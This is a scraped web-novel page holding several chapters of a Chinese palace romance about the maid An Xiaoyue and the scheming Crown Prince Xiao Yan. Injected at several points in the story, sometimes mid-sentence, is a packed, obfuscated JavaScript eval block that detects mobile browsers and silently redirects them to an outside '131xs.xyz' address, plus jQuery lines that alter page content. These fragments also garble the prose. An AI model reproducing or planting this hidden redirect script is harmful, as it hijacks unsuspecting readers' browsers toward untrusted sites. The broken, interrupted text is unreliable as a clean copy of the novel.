d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟见了血,喝过参汤之后,安小月再次沉沉睡下。 直到翌日的晨光透过雕花窗棂洒进内殿,她才从松软的锦被中清醒。 她半靠在软枕上,指尖轻轻抚过肩上的伤处,眉头微蹙,却并非全因疼痛。 忽然,殿外传来沉稳的脚步声。 她立刻收敛神色,换上一副虚弱却坚韧的模样。 萧衍掀帘而入,眉宇间隐着淡淡关切,“醒了?太医说伤口恢复得不错,但还需静养。” 安小月作势要起身行礼,被他抬手制止,“别动。” 她垂眸,声音轻柔却带着一丝迟疑。 “多谢殿下关怀,只是,奴心中仍有不安。” “为何不安?” 安小月咬了咬唇,似在斟酌言辞,“奴总觉着此事蹊跷。” 她抬眼,眸中透出几分忧虑。 “若真是六殿下所为,为何那刺客临死前偏要喊出主使?行刺储君是何等大罪,六殿下若真有此胆量,又怎会不把痕迹抹得更干净些?” 她顿了顿,声音更低,“奴愚见,倒像是有人借刀**。” 而且那个人,极有可能和她有仇。 萧衍眸光微动,却未立即回应。 安小月见状,连忙低头示弱。 萧衍沉默片刻,“你说的不错。” 他起身,居高临下地看着她,眼底闪过一丝深意,“此事,孤心里有数。” 安小月乖顺点头,不再多言。 萧衍转身向外走去,却在殿门口顿住,头也不回道,“你且安心养伤,孤既说了会给你一个交代,便不会食言。” 待脚步声远去,安小月缓缓放松紧绷的肩背,唇角微不可察地扬了扬。 她的话,他听进去了。 萧衍出了内殿,面色骤冷,对候在一旁的苏德沉声道,“传令下去,今日议事,孤要见刑部的人。” 不消半个时辰,被萧衍点了名的各部官员陆续进了太子府的议事厅。 萧衍端坐主位,目光扫过下首一众心腹与朝中要员。 原本晴朗的天色突然阴沉,似有风雨欲来之势。 “孤的意思很明确。”他声音低沉,却字字如刀,“皇城内外,凡私养猛兽者,一律严查,尤其是狼虎豹这等凶物,必须尽数清缴。” 刑部侍郎王大人额头渗出细汗,拱手道,“殿下,此事若大张旗鼓地查,恐怕……” “恐怕什么?”萧衍抬眼。 王大人硬着头皮道,“京中权贵多有豢养珍奇异兽的癖好,若一概而论,恐怕会得罪不少人,况且……” 他压低声音,“若真查出哪位皇子亲王牵扯其中,朝局怕是会动荡。” 一旁的大理寺少卿也附和,“殿下,不如暗中查访,先锁定真凶,再……” “暗中查访?”萧衍冷笑一声,手中茶盏重重一放,“刺客都进了太子府,你们还要孤忍?” 厅内霎时寂静。 禁军统领抱拳上前,沉声道,“殿下,臣以为,不如以‘清剿城郊狼群,保百姓安宁’为由,先派兵围猎山林,届时借机搜查各府庄园,名正言顺。” 萧衍眸光微动,沉吟片刻,“准。” 他站起身,眼底闪过势在必得。 “三日内,孤要看到成果,至于那些藏在暗处的蛇鼠……” “一个都别想逃。” 消息很快传进安小月耳里。 王嬷嬷忍着欢喜道,“殿下这是信了姑娘,还要替姑娘打抱不平呢!” 安小月却眉头紧蹙。 若太子真能借此揪出幕后黑手,她挡刀的功劳便价值连城。 但若牵连过广引发朝堂震荡…… 皇后就先饶不了她,何况陛下? 另一边的萧泽更是气得不轻。 “废物!” 他猛地将茶盏砸在地上,瓷片飞溅,茶水洒了一地。 老太监慌忙跪下,颤声道,“殿下慎言啊!小心隔墙有耳。” 萧泽冷笑,眼中戾气翻涌。 “昨日那刺客就该一剑捅穿太子的喉咙!现在倒好,人没杀成,反倒给了他彻查的由头!” 老太监额头抵地,不敢接话。 萧泽烦躁地踱步,忽而停下,眼神阴鸷,“安小月竟敢替太子挡刀?” 他攥紧拳头,指节发白,心中翻涌着复杂的情绪。 既恼恨她坏了事,又隐隐有一丝不甘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696840|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 若她真**,倒也干净,省得他每每想起她那双会骗人的眼睛,便觉心烦意乱。 “殿下。”老太监小心翼翼抬头,“如今太子大肆搜查,我们府上那些……” 萧泽眼神一厉,“慌什么?” 他冷笑,“太子要查,就让他查,本皇子行得正坐得直,还怕他不成?” 老太监欲言又止,最终低声道,“可若太子借题发挥……” 萧泽眯起眼,忽而勾起一抹阴冷的笑。 “他不是要查吗?那就让他查个够。” 他俯身,压低声音,“三皇姐养得可不比我少,找人透露给太子府。” “殿下的意思是……” “让他们狗咬狗。”六皇子直起身,眼中闪过一丝算计,“三皇姐把奶嬷嬷的死归结于安小月,她有害人动机,不是她,还能是谁?” “唔,再算上一个安欢颜,那日龙舟赛上她已经引起太子的注意,多一桩不算什么。” 萧泽彼时还不清楚他就是“幕后主使”,三言两语就把自己的错甩得一干二净。 见老太监不动,一脚飞踹过去。 “别想着再通风报信,若再让本皇子知道你告诉母后,本皇子要你的命!” 老太监瑟缩发抖,连滚带爬退了出去。 太子下令彻查私养凶兽一事,在朝堂与民间掀起截然不同的波澜。 朝臣世家虽表面恭顺,私下却怨声载道。 御史更是当庭**太子行事过激,扰乱民生。 然而市井百姓却奔走相告,茶肆酒坊间尽是称颂之声。 毕竟比起权贵们豢养的珍奇异兽,百姓们更在乎自家孩童能否安然夜行。 安小月靠在太子一旁听着苏德汇报,唇角不由自主地扬起,眼中带着几分钦佩。 “殿下此举大快人心,百姓无不称颂。” 萧衍波澜不惊,“此事孤早有打算,只是一直苦于没有合适的由头。” 他顿了顿,唇角微扬,眼底掠过一丝若有若无的笑意,“说来,倒是多亏了你挡的那一刀,否则,这出戏还未必能唱得这么顺利。” 安小月一怔,随即羞涩轻笑,“那殿下可要奖赏奴?” 第111章 只见一面 安小月原本只是随口打趣,却见太子抬眸看她,眼底没有半分玩笑的意思,反而平静点头。 “可以。” 她微微一怔。 竟真的应了? 她脑中思绪翻涌,呼吸急促起伏。 若求自由,可出了这太子府,她一个无根无势,腹背受敌的女子能去哪儿? 娘和弟弟还在相府中为奴,她若独自脱身,反倒害了他们…… “奴……”她喉间发紧,半晌才轻声道,“奴想求殿下一个恩典。” 萧衍指尖在案上轻轻一叩,示意她说下去。 安小月深吸一口气,俯身行礼,“请殿下恩准奴与家人见一面。” 萧衍闻言挑眉,“你还有家人?” 安小月心道装什么,不着痕迹地撇了下嘴。 低声解释道,“殿下,奴的娘亲和弟弟还健在,如今仍在相府为奴。” 她顿了顿,指尖微微收紧,“奴斗胆,想求见他们一面。” 萧衍神色未变,仿佛早已知晓,似是随意问了句,“只见一面就可以?” 这句话落进耳中,安小月心头猛地一跳。 这是什么意思? 是觉得她所求太少,还是在试探她是否另有贪念? 她呼吸微滞,俯身更低,语气恭谨。 “奴不敢挟恩图报,救驾本是分内之事,若殿下开恩允奴见亲人一面,已是天大的恩典。” 萧衍盯着她看了片刻,忽然道,“安小月,你救孤时,可没这么小心翼翼。” 他语气里带了一丝极淡的嘲意,“现在倒学会跟孤绕弯子了?” 安小月心头狂跳,却不敢抬头。 萧衍忽而轻笑一声,从容站起身,“允了,明日让赵忠带你去见人。” 他走过她身侧时,脚步微顿,低声道,“你只要求见一面,日后可不要怪孤小气。” 安小月急忙抬头解释,“殿下恩德如山,奴怎敢……” 话音未落,萧衍已嗤笑一声,转眼消失在廊外夜色中。 回到侧殿,安小月指尖发凉,坐在榻边半晌未动。 王嬷嬷端着热茶进来,见她神色恍惚,小声问,“姑娘这是怎么了?” 安小月猛地回神,强压下心头不安,勉强笑道,“明日能见到我娘和弟弟了,太久没见,不知道他们过得好不好。” 王嬷嬷略有意外,“姑娘的家人……” 安小月垂眸,“他们还在相府做事。” “原来如此。”王嬷嬷却还是替她感到高兴,“姑娘现如今可是救了殿下的人,外头都说姑娘忠心善良呢,想必姑娘的家人知道了定然也会欢喜,只是……” 王嬷嬷迟疑道,“姑娘的伤,虽然好了大半,却并未好全,不如再等两日?” 安小月抬手轻轻触摸肩胛,伤口处已长出嫩肉,只要动作轻点,一般不会有事。 她回了句“无碍”,便转身去翻箱笼,心底仍有几分不敢相信。 他怎么会答应呢? 安小月一边胡思乱想,把攒的月银塞进荷包,却突然停住。 他那句“别怪孤小气”像根刺卡在喉咙,不上不下,让她总在想自己的要求是否太过简单。 窗外更鼓声传来,安小月攥着荷包的手渐渐松开。 她明白太子为何嗤笑了。 他早看透她不敢多求,连为家人讨个自由都只敢说“见一面”。 安小月抿唇,望着案上跳动的烛火出神,一个逐渐清晰的念头跃出脑海。 “终究还是要握住些什么才行。” 若她能说得上话,又何止“见一面”? 但这些对于现在的她来说只是妄想,安小月把包袱放在枕边,囫囵睡下。 次日一早,天刚泛青,安小月就抱着包袱站在玉庆宫侧门。 晨雾湿冷,她忍不住跺了跺脚,抬眼看见赵忠抱刀大步而来。 两人目光一碰,安小月下意识攥紧包袱。 “赵大人。”她嗓子发紧,“今日麻烦赵大人同我走一趟了,我娘他们……” “知道。”赵忠打断,越过她推开宫门,“走城外马道,我已经打点好了,相府的人不会察觉。” 她没再说话,选择默默跟上。 约莫过了半个时辰,马车转进暗巷,赵忠突然勒马,“到了。” 安小月掀开帘子,远远看见许久未见的娘亲搂着弟弟站在柴房檐下朝这边张望。 两人神形憔悴,却难掩喜色。 她几乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林氏的目光落在安小月肩膀上,声音发颤。 安小月连忙握住她的手,打断她,“娘,时间不多了,咱们长话短说。” 她深吸一口气,压低声音,“我在太子府上一切都好,你们不用担心,太子并非传闻那般暴躁,相反他对我……” 她顿了顿,咽下未尽之言,转而坚定道,“总之我能应付,你们要保重自己,尤其是阳儿,千万别再惹事。” 她将包袱塞进娘亲手里,“这里有些银钱和伤药,藏好了,别让人发现。” “还有,我想托你们帮我办件事……” 远处,赵忠抱剑而立,背影挺拔如松,却始终不曾回头。 两刻钟的时间转瞬即逝。 安小月又细细叮嘱了娘亲和弟弟一番,该交代的都交代了,能说的也都说了。 临别时,她强忍着泪意,狠下心转身往巷口走去。 赵忠仍立在原地,听到脚步声回头,见安小月提前过来,眉头微皱。 “时间还没到。” 安小月抬手抹掉眼角未干的泪痕,勉强扯出一丝笑,“已经够了,若是耽误太久,反倒不好。” 她低着头快步走向马车,不敢再回头看娘亲和弟弟一眼,生怕多看一眼就再也迈不开步子。 赵忠沉默地跟在她身后,目光在她微微发抖的肩上停留了一瞬,终究什么也没说,握紧了手中的剑。 马车在官道上缓缓前行,车轮碾过青石板的声响格外清晰。 赵忠坐在车辕上,握着缰绳的手微微发紧。 车厢内隐约传来压抑的啜泣声,那声音断断续续,却像钝刀般磨得人心头发闷。 快到太子府时,赵忠忽然抬手敲了敲车壁。 里头的抽泣声戛然而止,片刻后才传来安小月带着鼻音的应答,“赵大人?” 赵忠的声音压得极低,“往后若有什么要往家里送的,只管来找我。” 他顿了顿,补充道,“只要不伤及殿下,不涉及军机要务,能帮的,我一定帮。” 车厢内静了一瞬。 忽然传来窸窣声,车帘被掀开一角。 安小月红肿着眼睛看过来,嘴唇还在微微发抖,“为什么要帮我?” 赵忠没有回头,望着前方越来越近的朱红府门,“就当是还你送我穗子的人情。” 车帘倏地落下。 里头传来一声极轻的“多谢”,让赵忠不由自主地握紧缰绳。 安小月原本沉浸在离别的悲伤中,却被赵忠突如其来的承诺搅乱了思绪。 她攥紧衣袖,心潮起伏。 赵忠向来对太子府的事讳莫如深。 先前她试探着打听太子行踪时,这人一开始还好说话,后来连眼神都不愿多给一个。 今日怎会突然转了性子? 莫非是太子授意他试探? 这个念头突然窜上心头,惊得她绷直了脊背,纷乱的思绪在脑中纠缠。 以至于回玉庆宫时竟没注意前方的路,险些撞上廊柱。 忽然,一粒小石子“啪”地打在她脚边的青砖上,惊得安小月猛然回神。 一转头,竟见太子负手立在廊柱旁。 他眉梢微挑,似笑非笑,“走路都不专心,在想什么?” 安小月心头一跳,慌忙低头行礼,“殿下恕罪,奴只是有些累了,一时没注意。” 萧衍慢悠悠走近,杏黄锦靴停在她眼前。 他忽然俯身凑近,修长的手指轻轻捏住她的下巴,迫使她抬头。 那双凤眸含着戏谑,目光却直直落在她泛红的眼尾上,“啧,眼皮都肿了。” 他用拇指蹭过她睫毛上未干的湿意,嗓音忽然压低。 “哭成这样,是舍不得家里,还是……” 突然指尖力道微微加重,“不情愿回孤这儿?” 安小月呼吸一滞。 他强势的气势混着檀香扑面而来,让人根本来不及思考。 她强压下后退的冲动,“奴不敢,只是临行时娘亲多嘱咐了几句,一时……” “一时情难自禁?”萧衍接过话头,忽然轻笑出声。 他松开手,“安小月,你可知欺君是什么罪名?” 这句话轻飘飘的,却让她后背瞬间沁出冷汗。 安小月指尖无意识掐进掌心,低声道,“奴不敢欺瞒殿下。” 萧衍闻言,忽然轻叹一声,眉梢微挑,眼底竟浮起一丝若有似无的惋惜。 “你若直接说舍不得他们,孤倒还能寻个由头,把人调进府里与你作伴。” 他语气轻慢,“可你偏偏只求见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送她们一程 她特意挑了几样食材,有苦瓜,带芯莲子,甚至还在汤里多加了两味药材,一味龙胆草,一味黄连。 将汤汁熬得浓稠,泛着微微的苦香。 最后,又蒸了一笼不带半点甜味的高粱馒头,硬邦邦的,咬一口能把牙硌掉。 不是喜欢体验民生疾苦吗? 那就尝尝这个。 一切准备妥当,安小月单手拎着食盒,规规矩矩地站在殿外等着通传。 不一会儿,苏德出来引她进去。 萧衍正倚在软榻上翻奏折,见她进来,眉梢微挑。 “伤好全了?” 安小月垂眸,恭敬地将食盒放在案几上,轻声道,“昨日承蒙殿下恩典,奴特意做了几道小菜,以表谢意。” 萧衍饶有兴趣地瞥了眼食盒,伸手掀开盖子。 一股淡淡的苦味瞬间飘了出来。 他盯着那碗淡绿色的浓汤,又按了按那硬得能当暗器的馒头,忽然低笑一声。 “你这是在跟孤闹脾气?” 安小月依旧低着头,语气无辜。 “奴婢不敢,只是想着殿下近日政务繁忙,容易上火,特意做了些清热去火的膳食。” 萧衍盯着她看了半晌,忽然伸手,一把扣住她的手腕,将她拉近。 “胆子不小啊?”他嗓音低沉,带着几分危险的意味,“敢拿这种东西来糊弄孤?” 安小月心跳微乱,却强撑着不露怯,小声道,“奴只是想让殿下尝尝不一样的滋味。” 萧衍眯了眯眼,忽然松开她。 拿起筷子,面不改色夹起一块苦瓜送入口中,慢条斯理地嚼了嚼,咽下。 “味道不错。”他淡淡道,“既然是你‘特意’做的,那今日早膳,你就陪孤一块儿用吧。” 安小月,“……” 萧衍似笑非笑地瞥她一眼,又舀起一勺莲子,递到她唇边,“来,尝尝你自己的手艺。” 安小月屏住呼吸,不动声色地往后躲。 她眼神飘忽道,“殿下,太医说奴伤势未愈,需忌辛辣苦寒之物,这莲子怕是不太合适。” 萧衍动作一顿,若有所思地“哦”了一声,缓缓收回勺子,却倾身逼近她。 “原来如此。”他嗓音低缓,带着几分玩味,“所以,你特意做了一桌孤能吃的苦菜,自己却一口都不能尝,岂不是很辛苦?” 安小月耳根发热,强撑着镇定。 “奴不觉得辛苦,只是想着殿下平日膳食过于精细,偶尔换换口味,对脾胃也好。” 萧衍轻笑一声,伸手捏住她的下巴,拇指在她唇瓣上轻轻摩挲了一下。 “那你说说,这既是苦寒之物,怎么能对脾胃好?” 安小月被他突如其来的动作惊得睫毛轻颤,却不敢挣脱。 只能硬着头皮道,“殿下是男子,与奴不一样。” 萧衍松开她的下巴,转而将那粒莲子放入自己口中。 他抬眸看她,眼底带着几分戏谑。 “不过孤觉得,这苦味倒也别有一番风味。” 说着,他又夹起一块苦瓜,似笑非笑地问,“你确定不陪孤一起享用?” 安小月脸色比桌上的汤还要绿。 她抿了抿唇,忽然灵机一动,捂着肩膀轻“嘶”了一声。 “啊……伤口好像又疼了,殿下,奴恐怕得先回去换药。” 萧衍挑眉,看着她拙劣的演技,也不拆穿,只是悠悠道,“既然伤还没好,就别到处乱跑。” 他放下筷子,语气忽然正经了几分。 “回去好好歇着,晚些时候,孤让太医再去给你看看。” 安小月一愣,没想到他这么轻易就放过了自己,连忙行礼,“多谢殿下体恤,奴告退。” 她转身快步往外走,却听身后太子忽然又补了一句。 “对了,明日早膳……”他嗓音带笑,“孤还想吃这个。” 安小月脚下一绊,差点摔倒。 狗太子绝对是在故意报复她! 与太子府内的安宁截然相反,皇城各处暗流涌动。 几个身影匆匆穿过宫巷,低声传递着消息,而更远的角落里,有人正咬牙切齿地摔碎了茶盏。 砰! 瓷片飞溅,三公主萧晴柔盯着地上四分五裂的杯子,冷笑一声,“我们受苦,他们倒是过得惬意。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699813|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “六弟,你不是说那几只小兽万无一失吗?怎么皇兄的人还能找到?” 萧泽面色微僵,眼神闪烁了一下。 “皇姐,这事确实蹊跷。” 他抿了抿唇,声音更低,“我明明让人日夜盯着,四周都是我的人,按理说不应该被发现。” 萧晴柔心疼自己的心爱兽宠,又不敢把错全怪在六弟身上。 不耐抱怨道,“可如今皇兄不仅毫发无损,还借着这事在父皇面前露了脸,连带着那个安小月都因为救了皇兄得了赏!” 萧泽忽然轻叹一声,无奈感慨。 “罢了,这次就当是个教训,如今皇兄春风得意,谁能弄得过他?我是要躲一躲风头了。” 萧晴柔脸色一变,眼底闪过一抹不满。 “算了,你不用出手,我自己来,不过那个安小月,倒是越来越碍眼了。” 若不是她挡着,刺客早就得手,哪里会牵扯出来这种祸事! 萧泽佯装不赞同,皱了皱眉,“皇姐想动她?她可是皇兄的心肝肉。” 萧晴柔勾唇一笑,幽幽瞥了他一眼。 “急什么?有的是办法让她自己犯错,她自己找死,能怪得了谁?” 萧泽看着她阴冷的笑意,嘴角勾了勾,没再接话。 夜深,萧晴柔暗中约见安欢颜碰面。 但送信的探子却被太子派出去的暗卫察觉,消息连夜送进了太子府。 萧衍得知后冷笑,“孤本不想急着要她们的命,偏有人上赶着找死。” 苏德闻言心头一凛。 “殿下,那毕竟是未来太子妃,是否要先解了婚约再……” 萧衍拧眉不悦。 “你让孤忍?” “孤就是性子太好,才让她一而再在孤头上造次,如今实在忍无可忍!” 苏德脸色古怪地噤声,唏嘘不已。 安姑娘造次的次数更多,怎么不见他发火? 这人啊,真是不能比。 萧衍沉吟片刻后吩咐,“将龙舟赛试图欺辱安小月的人,连同放蛇的小太监,尸身备好。” 他眸色森寒,“既然有人着急找死,孤就送她们一程。” 第114章 做脸 晨光未至,安小月便悄然起身,径直去了小厨房,借着微弱的烛火开始忙活。 太子昨日那番话或许是戏弄,她却不敢全然当作耳旁风。 今日更不敢选那些苦寒食材,只做了几道清淡可口的家常菜。 有特意去了芯的莲子粥,炖得绵密软烂,翡翠豆腐嫩生生的,一碟腌脆黄瓜更是爽口开胃。 待萧衍沐浴过后踏入内殿时,正瞧见她帮着小太监摆筷。 他目光在菜色上停留一瞬,挑眉勾唇,“今日怎么不拿那些苦得舌根发麻的东西对付孤?” 安小月耳尖微红,手指不自觉绞着衣角,“寒性之物伤身,偶尔尝鲜便够了。” 萧衍似笑非笑看了她一眼,懒得拆穿这拙劣的借口,“既如此,坐下陪孤用完这顿。” “殿下,这不合规矩……”安小月慌忙后退,却被他一个皱眉钉在原地。 “在孤这儿,孤就是规矩。”他声音不轻不重,却透露出不容置疑的储君威严。 “要么坐下陪孤一起,要么滚出去。” 这个“滚”自然不只是被赶出内殿这般简单。 一旦出去,很有可能再也无法近身伺候。 安小月清楚这个字的分量,只得乖顺坐下,半边身子虚挨着凳子,连筷子都不敢伸远。 她低垂着眼睫,一顿饭吃得如坐针毡,连呼吸都小心翼翼。 而萧衍却始终不语,唇角噙着一抹若有似无的弧度,仿佛在欣赏她的局促不安。 一顿饭终毕。 萧衍接过苏德递的帕子拭手,突然道,“明日换身利落衣裳,跟孤出门。” 安小月微微诧异,低声道,“可奴不会骑马,怕耽误殿下的事。” 萧衍漫不经心地摆手,语气随意。 “无妨,坐马车便是。” 安小月睫毛轻颤,下意识抬头。 太子向来骑马出行,如今竟让她独坐马车也要带她出门? 怕不是另有所图。 正斟酌着推拒措辞,却听太子忽地轻笑一声,“这么抗拒,是不愿离孤太近?” 安小月心头一紧,哪还敢再迟疑,连忙垂首应下。 “不敢,奴遵命。” 见她乖乖应下,萧衍眼底掠过一丝满意的神色,伸手轻轻拍了拍她的发顶。 “听话些,你想要的,孤都会给你。” 说罢,他目光扫过桌上精致的菜肴,补了一句,“今日这顿饭做得不错,该赏。” 随即侧首吩咐站在一旁的苏德,“去把新得的那几匹云锦和软烟罗取来,让人给她裁几身衣裳。” 安小月指尖微蜷,低垂着头不敢接话。 只觉太子今日的举动处处透着古怪,可又不敢多问,只得轻声谢恩。 “谢殿下赏赐。” 萧衍吩咐完便回了书房,安小月心慌,随便找了由头便回屋去了。 而最欢喜的莫过于王嬷嬷。 她见安小月得了赏赐,笑得眼角的褶子都堆了起来,嘴里不住念叨着,“哎哟,这可是天大的体面!” 正说着,苏德已带着人将几匹华贵非常的料子送了过来。 王嬷嬷爱不释手地摸着那细腻的云锦,已经开始盘算这几匹布该如何裁剪。 苏德却笑道,“嬷嬷别忙活了,已经拨了两匹布给绣娘,她们会连夜赶制一套出来,明日出门就能穿上。” 王嬷嬷一听,更是喜上眉梢,连连点头,“好好好,还是公公想得周到!” 安小月站在一旁,看着那华贵的衣料,心里却隐隐不安。 太子这般厚待,究竟打的什么主意? 可她想了一夜都没想明白,翌日起便随太子出了门,且独坐一辆马车。 接连几日,无论是处理公务还是私下会面,太子都将她带在身边,寸步不离。 众人又见她穿衣打扮处处透着精致,连赶车的小太监都穿的比寻常宫人体面。 这般排场,倒是比寻常官家小姐还要讲究。 久而久之,这般特殊对待在皇城乃至朝野间掀起一阵流言蜚语,暗潮不断涌动。 然而,流言如野火般蔓延,很快传到了安欢颜耳中。 她捏着茶盏的手指骤然收紧,骨节泛白,眼底翻涌着嫉恨。 她这个未来的太子妃尚未过门,太子却整日将一个低贱的宫女带在身边,甚至引得满宫非议。 更可恨的是,太子对两人的婚期只字不提,仿佛全然忘了这件御赐的姻缘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703595|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好个安小月!”她冷笑一声,将茶盏狠狠掷在地上,瓷片四溅。 小桃吓得一颤,却听安欢颜阴恻恻道,“告诉三公主,请她今夜再来一叙,太子妃的位置是我的,谁也别想染指!” 几日后,安小月的肩上的伤已好了七八分,只是仍使不上大力气。 这日从外面回来晚了,她伺候太子用完晚膳,正欲退下,却听太子忽然开口。 “明日你去小厨房打下手,拿出你的看家本事,孤要在府中宴请几位弟妹。” 安小月微微一怔。 太子向来独来独往,连宫宴都常托病不出,如今竟主动设宴? “怎么?”萧衍意味深长地瞥她一眼,“觉得孤合该是孤家寡人?” 她慌忙低头,“奴不敢。” “那便去,不知道的还以为你是太子府的女主子,连孤宴请谁都要插手。” 萧衍语气中透露出丝丝不悦。 安小月红着脸应下,却听他又嗤笑一声。 “你是太子府的人,不必战战兢兢,外头既然都传你是孤的‘宠婢’,你便拿出点气势来。” 她耳尖发烫,匆匆行礼退下,心跳却乱得厉害。 回到房中,安小月辗转难眠。 太子向来不近人情,突然宴请皇子公主,必定有深意。 她虽在太子府待了这些日子,但对那些贵人并不熟悉,若明日出了差错…… 想到这里,她猛地翻身坐起。 看来天一亮就得去找王嬷嬷,将每位皇子公主的喜好与忌讳都问个明白才好。 只是一想到三公主也会来,她心中便开始忐忑。 不知三公主是否找到她奶嬷嬷去世的真正原因? 若是她知晓与自己有关,那岂不是糟了? 翌日正午时分,太子府罕见地敞着门。 受邀的皇子公主们踏入府门时皆面露惊色,个个都觉得稀奇。 五皇子低声对七公主道,“皇兄莫不是被夺舍了?上回我来借书,连玉庆宫的门都没让进。” 七公主捏着绣帕掩唇笑,“许是要给那宠婢做脸?皇兄待她可真是……” 话音未落,余光瞥见三公主幽幽的目光,连忙噤声。 第115章 家宴 今日来的都是亲兄弟姐妹,又都年少,还未开席府里便到处都洋溢着欢声笑语。 唯独三公主与六皇子笑意不达眼底。 萧晴柔瞥见安小月正指挥小太监们做事,忽倾身过去,对萧泽耳语,“先别动那丫头,我总觉着不大对劲。” 一个贱婢,太子给的体面未免也太多了。 萧泽却死死望着不远处一闪而过的身影,咬紧牙根。 “皇姐,你可见过太子皇兄腰间新佩的那枚令牌?那可是踩着你我的血肉得来的!” 那是御前行走的凭证,是太子皇兄清缴城内异兽之后,父皇特意赏赐他的宝贝! 萧晴柔拧眉,“六弟,皇兄身为储君,本来就有接近父皇的资格,这额外赏赐只是用来表彰他的功绩罢了,我劝你不要轻举妄动。” 萧泽握着折扇的手因为用力而发白,喉结滚动。 “皇姐说得是,且看他唱什么戏再做打算。” 不多会儿,朱红宫门被两名太监缓缓推开,萧衍一袭玄色锦袍踏入殿内。 腰间那枚玄铁令牌随着他的步伐轻轻晃动,格外引人注目。 殿内原本的欢声笑语戛然而止。 几位皇子公主慌忙从席间站起,连正在说笑的五皇子都猛地呛了口茶,捂着嘴不敢咳嗽出声。 萧衍脚步微顿,目光扫过众人,忽然轻笑一声。 “怎么孤一来,你们连话都不敢说了?” 他抬手示意众人落座,“今日是家宴,不必拘礼。” 众人面面相觑,小心翼翼地落座。 “六弟,”萧衍突然转头看向左手边的萧泽,“听闻你前日猎得一头白鹿,怎么不拿过来让孤开开眼?” 萧泽手中的折扇“啪”地合上,脸上挤出一丝笑意。 “不过是运气好罢了,哪比得上皇兄清剿异兽的功绩。” 他说着起身,端着酒杯走到萧衍面前,“臣弟敬皇兄一杯。” 就在萧泽俯身时,他的衣袖“不小心”带倒了酒壶,液体瞬间泼洒在萧衍的衣袍上。 虽看不清什么,但酒味却浓郁扑鼻。 殿内霎时静得落针可闻。 萧晴柔的指甲几乎要掐进掌心。 这个蠢货! 不是说好今日先按兵不动吗? 萧衍低头看了看衣袍上的酒渍,神色如常,“无妨,孤去换件衣裳。” 他目光扫过一旁的安小月,“你随孤来。” 待太子身影消失在殿外,席间顿时炸开了锅。 “皇兄今日脾气竟这般好?”五皇子咂舌道,“若是往日,六弟怕是要挨训了。” 七公主掩嘴轻笑,“我瞧着皇兄对那婢女倒是特别,还点名要她伺候。” “可不是嘛,”四公主凑过来压低声音,“听说那丫头可不一般,是……” 萧泽“啪”地摔了酒杯,酒液溅在案几上。 “一个**婢女,也配入太子府?皇兄若真看上这等货色,那品味也未免太……” “六弟慎言。”萧晴柔冷声打断,眼神扫过四周的宫人,“皇兄的事,岂是你能议论的?” 萧泽冷哼一声,却见苏德正竖着耳朵往这边瞧,立刻闭了嘴,只是眼中阴鸷更甚。 内殿。 安小月垂首站在一旁,太子背对着她正在更衣,静得只能听见衣料摩擦的细微声响。 她犹豫再三,终于鼓起勇气开口,“殿下,奴斗胆,方才那酒……怕是六殿下有意为之。” 话音一落,空气仿佛凝滞。 萧衍缓缓侧首,“你能看出来的事,孤会看不出来?” 安小月心头一跳,顿时懊悔自己多嘴,连忙低头,“奴僭越了。” 萧衍没再说话,只是慢条斯理地系着衣带。 良久,他才淡淡道,“孤平日与这些弟弟妹妹不甚亲近,今日才发觉……” 他顿了顿,唇角勾起一抹若有似无的弧度,“倒都长大了,一个个的,心思不少。” 安小月屏息听着,不敢接话。 萧衍系好最后一根衣带,忽然伸手抬起她的下巴。 力道不重,却让她不得不直视他的眼睛。 “你倒是比他们有趣。”他低声道,眸色深沉,“至少还敢说真话。” 安小月被他这般看着,心跳愈发急促。 